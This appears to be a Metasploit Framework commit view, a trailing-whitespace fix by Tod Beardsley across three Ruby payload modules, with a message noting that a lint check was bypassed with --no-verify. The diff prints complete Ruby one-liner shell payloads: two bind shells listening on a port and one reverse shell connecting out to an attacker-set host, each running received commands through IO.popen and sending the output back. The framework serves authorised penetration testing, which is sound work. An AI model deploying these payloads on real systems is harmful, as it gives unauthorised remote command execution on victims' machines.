Trailing whitespace fix

Note that this commit needed a --no-verify because of the erroneous
check in msftidy for writing to stdout. The particular syntax of this
payload makes it look like we're doing that when we're really not.

So don't sweat it.
unstable 2013041701
Tod Beardsley 2013-04-15 13:58:06 -05:00
parent efdf4e3983
commit be39079830
3 changed files with 5 additions and 5 deletions

View File

@ -38,7 +38,7 @@ module Metasploit3
def ruby_string def ruby_string
"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+ "require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }" "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
end end
end end

View File

@ -37,8 +37,8 @@ module Metasploit3
end end
def ruby_string def ruby_string
"require 'socket';s=TCPServer.new(\"::\",#{datastore['LPORT'].to_i});c=s.accept;s.close;" + "require 'socket';s=TCPServer.new(\"::\",#{datastore['LPORT'].to_i});c=s.accept;s.close;" +
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }" "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
end end
end end

View File

@ -39,8 +39,8 @@ module Metasploit3
def ruby_string def ruby_string
lhost = datastore['LHOST'] lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
"require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" + "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +
"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }" "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
end end
end end